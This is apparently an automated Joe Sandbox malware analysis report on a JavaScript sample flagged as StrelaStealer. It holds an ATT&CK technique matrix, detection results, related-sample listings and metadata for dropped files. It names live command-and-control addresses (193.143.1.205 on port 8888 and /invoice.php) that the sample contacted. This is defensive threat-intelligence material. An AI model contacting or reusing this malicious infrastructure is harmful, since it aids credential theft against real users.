Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17231147702223410654.js	7%	Virustotal		Browse
17231147702223410654.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacemk	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000003.1485965633.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500026105.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2724142815.000002D92D800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/pacemk	net.exe, 00000007.00000002.1499942393.0000021CF5748000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1489269765.000002D92D6D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1500026105.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000003.1485965633.0000021CF577A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500026105.0000021CF577A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588305
Start date and time:	2025-01-10 23:45:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17231147702223410654.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.219.243.226, 3.233.129.217, 52.22.41.97, 52.6.155.20, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.16.100.168, 88.221.110.91, 54.224.241.105, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:46:01	API Interceptor	22x Sleep call for process: powershell.exe modified
17:46:05	API Interceptor	1x Sleep call for process: net.exe modified
17:46:05	API Interceptor	2x Sleep call for process: svchost.exe modified
17:46:12	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022025470997011
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA4:RJE+Lfki1GjHwU/+vVhWqp9
MD5:	E940D83D9352BA338B2A638CBF74CBF8
SHA1:	33B1C7CC8AA4520A657F5605E0CC86B4165A294F
SHA-256:	7C7894D5622256799D473D8BE44B9AF98F401C918EE1DFCE4D4AD0F7B1E331F6
SHA-512:	FD52BCB81A0EC8DF54712AB2F207527AD086333F37EA92133A4C20C8393F4385CC445A77E7EDB39D7A8FACEDA6E54C82BDE64C181140D79239A299AFD0A39B29
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdc8c9fac, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433144607191378
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	F21A5310D9B719320137BBD24ABE76C8
SHA1:	6B42DB3B2B09BDF954501FD487F3D1935B0ADC5A
SHA-256:	30CB1BBC4EC2778CC38BB50DED9BEFEDB3E00EA1FA0AC1D03CF0764DC5378ABE
SHA-512:	DE67EDB3FB85B6C01AD3E94270A9C44BE49F33F301736225B5BC0751E9F1104DC7AF73D3508BD087C064A3EF8DB9BA8212A03D9A339DC385E2B3ABE475C51432
Malicious:	false
Preview:	...... ...............X\...;...{......................0.x...... ...{s......}U.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................%u.......}G.................V........}U..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0810048697270849
Encrypted:	false
SSDEEP:	3:xW8YeXHJkvsl/nqlFcl1ZUllllZcJql/allGBnX/l/Tj/k7/t:xdzXHJosl/qlFclQ/lQeG254
MD5:	491ACF6298E1B95AB4FC423174325F12
SHA1:	F376E279756C3FCB1E24C73D8AF2B5A09D614A53
SHA-256:	E5C0A1F5A6890312755AD743836AB16CBBB306762BA49A8C27933C8CFEBA819B
SHA-512:	8DD0C5AD2D231B33C7F7A6AD71C7E6B1D9D4B50BD4671ECFD4A99382B883B09583F7F46AA98894998525292ABDEDA15661C181617F39549F23E3022D3B4103FD
Malicious:	false
Preview:	.G.......................................;...{.......}U.. ...{s.......... ...{s.. ...{s.P.... ...{s.................V........}U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.246414404346296
Encrypted:	false
SSDEEP:	6:iO4+VQTds9+q2PCHhJ2nKuAl9OmbnIFUtS+VQ3Zmws+VQXVkwOCHhJ2nKuAl9Omt:736FvBHAahFUtt63/T6l56HAaSJ
MD5:	15E949386DB0D2474B0F2FB398F5579E
SHA1:	65C4405A919141DB552A1FC90C58B1DE543808B1
SHA-256:	AAAF64B951201C1E4D999C29805D1C47729E0D9A2ED63A91A5DED7E17F99D9E2
SHA-512:	60D69D8382AEBC493165644DC9FA66C010CFB5FD80B4EE1DB0650C0F58A62680C43BFA7FDF33E8627EB57EAFE0BC837F44159DB738282565914D99A583EE3D9B
Malicious:	false
Preview:	2025/01/10-17:46:05.138 878 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:46:05.142 878 Recovering log #3.2025/01/10-17:46:05.142 878 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.246414404346296
Encrypted:	false
SSDEEP:	6:iO4+VQTds9+q2PCHhJ2nKuAl9OmbnIFUtS+VQ3Zmws+VQXVkwOCHhJ2nKuAl9Omt:736FvBHAahFUtt63/T6l56HAaSJ
MD5:	15E949386DB0D2474B0F2FB398F5579E
SHA1:	65C4405A919141DB552A1FC90C58B1DE543808B1
SHA-256:	AAAF64B951201C1E4D999C29805D1C47729E0D9A2ED63A91A5DED7E17F99D9E2
SHA-512:	60D69D8382AEBC493165644DC9FA66C010CFB5FD80B4EE1DB0650C0F58A62680C43BFA7FDF33E8627EB57EAFE0BC837F44159DB738282565914D99A583EE3D9B
Malicious:	false
Preview:	2025/01/10-17:46:05.138 878 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:46:05.142 878 Recovering log #3.2025/01/10-17:46:05.142 878 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.177612126582377
Encrypted:	false
SSDEEP:	6:iO4+VQZR9I+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS+VQZQFWZmws+VQZT3iVkwOCHV:736ZR9I+vBHAa8uFUtt6Zd/T6ZbiV56g
MD5:	3EC7821E945054EC7B391255B07F19A2
SHA1:	08851FE798DCF209E6DA017967A67DA26DBBFCF8
SHA-256:	29A38B073BBF418E133D1C5FD62B250C866942F13E70271F8E52F4CD0AFEAAE2
SHA-512:	BEB6E6448B58BCD24A9307AA538A80AC50079DB02898907585192FA1F5168625D7A07D127B72E612A557AC2D1D012760D0DBB747AD51BC75B66E2D0A4660C99D
Malicious:	false
Preview:	2025/01/10-17:46:05.194 b0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:46:05.195 b0c Recovering log #3.2025/01/10-17:46:05.196 b0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.177612126582377
Encrypted:	false
SSDEEP:	6:iO4+VQZR9I+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS+VQZQFWZmws+VQZT3iVkwOCHV:736ZR9I+vBHAa8uFUtt6Zd/T6ZbiV56g
MD5:	3EC7821E945054EC7B391255B07F19A2
SHA1:	08851FE798DCF209E6DA017967A67DA26DBBFCF8
SHA-256:	29A38B073BBF418E133D1C5FD62B250C866942F13E70271F8E52F4CD0AFEAAE2
SHA-512:	BEB6E6448B58BCD24A9307AA538A80AC50079DB02898907585192FA1F5168625D7A07D127B72E612A557AC2D1D012760D0DBB747AD51BC75B66E2D0A4660C99D
Malicious:	false
Preview:	2025/01/10-17:46:05.194 b0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:46:05.195 b0c Recovering log #3.2025/01/10-17:46:05.196 b0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e4704ca-e5dd-486d-b2d4-abab11b770f0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.965129509546199
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDTL4hsBdOg2H/Ycaq3QYiub6P7E4T3y:Y2sRdsEL4ydMHr3QYhbS7nby
MD5:	48FE13181A309020612E9441112F2977
SHA1:	9859FA0E54D8D21C6364C0014CBE79B76E5D7137
SHA-256:	B1D8CDBCFEC07AE39E2E3818094FB0F7978B36903A570C4D88FBE52DC2BCA30C
SHA-512:	A068BBFFCEEE016C2056D36BAB4E22E3FBC8274AD5AB9878CF96135CCAC9A06D673FA8E41009AE3BF1F3096FA85BF9F92DEF95F684C7607BF467DD66A5AB86A9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109176945156","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115791},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.965129509546199
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDTL4hsBdOg2H/Ycaq3QYiub6P7E4T3y:Y2sRdsEL4ydMHr3QYhbS7nby
MD5:	48FE13181A309020612E9441112F2977
SHA1:	9859FA0E54D8D21C6364C0014CBE79B76E5D7137
SHA-256:	B1D8CDBCFEC07AE39E2E3818094FB0F7978B36903A570C4D88FBE52DC2BCA30C
SHA-512:	A068BBFFCEEE016C2056D36BAB4E22E3FBC8274AD5AB9878CF96135CCAC9A06D673FA8E41009AE3BF1F3096FA85BF9F92DEF95F684C7607BF467DD66A5AB86A9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109176945156","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115791},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237214258005666
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bJqW2A:S43C4mS7fFi0KFYDjr3LWO3V3aw+bJ5b
MD5:	E54CED330818186753B57C40C70586DA
SHA1:	04421B51EC21849A94FF403C8C3F0A63644B2770
SHA-256:	2BE43B3C3D42E68192ADE00274082C9D761681E0B49709C82ED965044EA4949F
SHA-512:	4741AB8112F54E8F03289BBC3500600A21643BB96FE003DCFED20D0A4B3F73CFAA1DA425F95A5500CCE2E844033066A94A1E816F9EB1052FEF48207FDCBEFFFD
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.197361509788827
Encrypted:	false
SSDEEP:	6:iO4+VQl+q2PCHhJ2nKuAl9OmbzNMxIFUtS+VQPlWZmws+VQZNVkwOCHhJ2nKuAlG:736l+vBHAa8jFUtt6Q/T6TV56HAa84J
MD5:	FFE2CFD76CB54AF334181BC23F779D19
SHA1:	F604678592C26CEDCDE1FD12E1F2ED477CCA31AD
SHA-256:	88CC1F4B98D4637BE508D58F5C5ACE00C04919FD9E58253D16BDF3FF5ACFB6D9
SHA-512:	23353314B3F764592A592F823F701B0057ED99DB87206CE3C89680C8720DC0AC4B0BF643BDBE3EB93A1560A0B0927B96C8AF4D1C442AA3A3428D5A05A9876A19
Malicious:	false
Preview:	2025/01/10-17:46:05.496 b0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:46:05.497 b0c Recovering log #3.2025/01/10-17:46:05.506 b0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.197361509788827
Encrypted:	false
SSDEEP:	6:iO4+VQl+q2PCHhJ2nKuAl9OmbzNMxIFUtS+VQPlWZmws+VQZNVkwOCHhJ2nKuAlG:736l+vBHAa8jFUtt6Q/T6TV56HAa84J
MD5:	FFE2CFD76CB54AF334181BC23F779D19
SHA1:	F604678592C26CEDCDE1FD12E1F2ED477CCA31AD
SHA-256:	88CC1F4B98D4637BE508D58F5C5ACE00C04919FD9E58253D16BDF3FF5ACFB6D9
SHA-512:	23353314B3F764592A592F823F701B0057ED99DB87206CE3C89680C8720DC0AC4B0BF643BDBE3EB93A1560A0B0927B96C8AF4D1C442AA3A3428D5A05A9876A19
Malicious:	false
Preview:	2025/01/10-17:46:05.496 b0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:46:05.497 b0c Recovering log #3.2025/01/10-17:46:05.506 b0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
